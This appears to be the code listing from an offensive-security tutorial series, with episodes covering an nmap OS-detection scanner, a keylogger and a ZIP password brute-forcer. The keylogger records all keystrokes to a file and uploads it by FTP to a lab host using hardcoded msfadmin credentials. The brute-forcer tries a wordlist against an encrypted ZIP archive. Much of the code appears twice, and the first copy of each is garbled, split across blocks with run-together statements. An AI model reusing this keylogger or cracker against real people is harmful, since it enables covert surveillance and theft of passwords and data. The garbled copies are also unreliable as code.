

## Code

### Episode: 2.2

Code:

```
import nmap
import sys
nm_scan = nmap.PortScanner()
nm_scanner = nm_scan.scan(sys.argv[1], '80', arguments='-O')
```

Actual

view:

```
1 import nmap
2 import sys
3
4 nm_scan = nmap.PortScanner()
5 nm_scanner = nm_scan.scan(sys.argv[1], '80', arguments='-O')
```

### Episode: 3.1

Code:

```
from pynput import Key, Listener
import ftplib
import logging
```

```
logdir = ""
```

```
logging.basicConfig(filename=logdir+"klog-res.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
```

```
def pressing_key(Key):
```

```
try:
```

```
    logging.info(str(Key))
except AttributeError:
    print("A special key {0} has been pressed.".format(key))
```

Actual View:

```
1 from pynput import Key,Listener
2 import ftplib
3 import logging
4
5 logdir = ""
6 logging.basicConfig(filename=logdir+"klog-res.txt",level=logging.DEBUG,format="%(asctime)s:%(message)s")
7
8 def pressing_key(Key):
9     try:
10         logging.info(str(Key))
11     except AttributeError:
12         print("A special key {0} has been pressed.".format(key))
```

### Episode 3.2

Code:

```
from pynput.keyboard import
```

```
Key,Listener import ftplib import logging
```

```
logdir = ""
```

```
logging.basicConfig(filename=(logdir+"klog-res.txt"),level=logging.DEBUG,format="%(asctime)s
: %(message)s")
```

```
def pressing_key(Key):
```

```
    try:
```

```
        logging.info(str(Key))
```

```
    except AttributeError:
```

```
        print("A special key {0} has been pressed.".format(key))
```

```
def releasing_key(key):
```

```
    if key == Key.esc:
```

```
        return False
```

```
print("\nStarted
```

```
listening...\n")
```

```
with Listener(on_press=pressing_key, on_release=releasing_key) as listener:
```

```
    listener.join()
```

```
print("\nConnecting to the FTP and sending the data...")
```

```

sess = ftplib.FTP("192.168.0.103", "msfadmin",
"msfadmin") file = open("klog-res.txt", "rb")
sess.storbinary("STOR klog-res.txt",file) file.close()
sess.quit()

```

Actual View:

```

1  from pynput.keyboard import Key,Listener
2  import ftplib
3  import logging
4
5  logdir = ""
6  logging.basicConfig(filename=(logdir+"klog-res.txt"),level=logging.DEBUG,format="%asctime)s:%(message)s")
7
8  def pressing_key(Key):
9      try:
10         logging.info(str(Key))
11     except AttributeError:
12         print("A special key {0} has been pressed.".format(key))
13
14  def releasing_key(key):
15      if key == Key.esc:
16         return False
17
18  print("\nStarted listening...\n")
19
20  with Listener(on_press=pressing_key, on_release=releasing_key) as listener:
21      listener.join()
22
23  print("\nConnecting to the FTP and sending the data...")
24
25  sess = ftplib.FTP("192.168.0.103", "msfadmin", "msfadmin")
26  file = open("klog-res.txt", "rb")
27  sess.storbinary("STOR klog-res.txt",file)
28  file.close()
29  sess.quit()

```

## Episode 4.1

Code:

```

from zipfile import ZipFile
import argparse

```

```

parser = argparse.ArgumentParser(description="\nUsage: python zipbrute.py -z <zipfile.zip>
-p <passwordfile.txt>")
parser.add_argument("-z", dest="ziparchive", help="Zip archive file")
parser.add_argument("-p", dest="passfile", help="Password file")
parsed_args =
parser.parse_args()

```

try:

```

ziparchive=ZipFile(parsed_args.ziparchive)
passfile=parsed_args.passfile

```



```
foundpass=""
```

```
except:
```

```
    print(parser.description)
    exit(0)
```

Actual View:

```
1  from zipfile import ZipFile
2  import argparse
3
4  parser = argparse.ArgumentParser(description="\nUsage: python zipbrute.py -z <zipfile.zip> -p <passwordfile.txt>")
5  parser.add_argument("-z", dest="ziparchive", help="Zip archive file")
6  parser.add_argument("-p", dest="passfile", help="Password file")
7  parsed_args = parser.parse_args()
8
9  try:
10     ziparchive=ZipFile(parsed_args.ziparchive)
11     passfile=parsed_args.passfile
12     foundpass=""
13
14 except:
15     print(parser.description)
16     exit(0)
```

## Episode 4.2

Code: from zipfile import ZipFile  
import argparse

```
parser = argparse.ArgumentParser(description="\nUsage: python zipbrute.py -z <zipfile.zip>
-p <passwordfile.txt>")
parser.add_argument("-z", dest="ziparchive", help="Zip archive file")
parser.add_argument("-p", dest="passfile", help="Password file")
parsed_args = parser.parse_args()
```

```
try:
```

```
    ziparchive = ZipFile(parsed_args.ziparchive)
    passfile = parsed_args.passfile
    foundpass = ""
```

except:

```
print(parser.description)
exit(0)
```

with open(passfile, "r") as f:

for line in f:

```
password = line.strip("\n")
password = password.encode("utf-8")
```

try:

```
foundpass = zipfile.extractall(pwd=password)
if foundpass == None:
    print("\nFound password: ",password.decode())
except RuntimeError:
    pass
```

if foundpass == "":

```
print("\nPassword not found. Try a bigger password
list.")
```

Actual View:

```
1  from zipfile import ZipFile
2  import argparse
3
4  parser = argparse.ArgumentParser(description="\nUsage: python zipbrute.py -z <zipfile.zip> -p <passwordfile.txt>")
5  parser.add_argument("-z", dest="ziparchive", help="Zip archive file")
6  parser.add_argument("-p", dest="passfile", help="Password file")
7  parsed_args = parser.parse_args()
8
9  try:
10     zipfile = ZipFile(parsed_args.ziparchive)
11     passfile = parsed_args.passfile
12     foundpass = ""
13
14 except:
15     print(parser.description)
16     exit(0)
17
18 with open(passfile, "r") as f:
19     for line in f:
20         password = line.strip("\n")
21         password = password.encode("utf-8")
22
23         try:
24             foundpass = zipfile.extractall(pwd=password)
25             if foundpass == None:
26                 print("\nFound password: ",password.decode())
27         except RuntimeError:
28             pass
29
30 if foundpass == "":
31     print("\nPassword not found. Try a bigger password list.")
```